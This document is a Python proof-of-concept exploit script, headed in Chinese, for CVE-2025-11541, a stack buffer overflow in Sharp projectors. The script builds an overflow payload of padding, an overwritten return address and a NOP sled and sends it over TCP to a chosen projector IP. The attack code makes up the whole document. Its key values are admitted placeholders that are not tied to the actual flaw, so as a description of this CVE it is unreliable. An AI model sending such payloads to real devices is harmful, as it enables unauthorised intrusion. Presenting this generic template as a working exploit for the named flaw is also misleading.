CVE-2025-11541 Sharp投影仪基于栈缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-11541 PoC - Sharp Projector Stack Buffer Overflow # This PoC demonstrates sending a malicious payload to trigger the buffer overflow # NOTE: This is for educational and authorized testing purposes only import socket import sys def create_malicious_payload(): """ Generate payload to trigger stack buffer overflow The actual vulnerability is in the network service handling user input """ # Target buffer size (placeholder - actual size varies by firmware version) buffer_size = 1024 # Padding to fill the buffer padding = b'A' * buffer_size # Overwrite the return address (needs to be adjusted based on firmware) # In real exploitation, this would point to shellcode or ROP gadgets return_address = b'\xAA\xBB\xCC\xDD' # Example address # Additional padding to reach saved registers additional_padding = b'B' * 64 # Optional: Shellcode for arbitrary command execution # This is a placeholder - actual shellcode depends on target architecture shellcode = b'\x90' * 16 # NOP sled payload = padding + return_address + additional_padding + shellcode return payload def send_exploit(target_ip, target_port=80): """ Send the exploit payload to the target projector """ payload = create_malicious_payload() try: print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious payload ({len(payload)} bytes)") sock.send(payload) print("[*] Payload sent successfully") print("[*] If vulnerable, the device should trigger the buffer overflow") # Wait for response try: response = sock.recv(1024) print(f"[*] Received response: {response[:100]}") except: pass sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print("Example: python3 poc.py 192.168.1.100 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 send_exploit(target, port)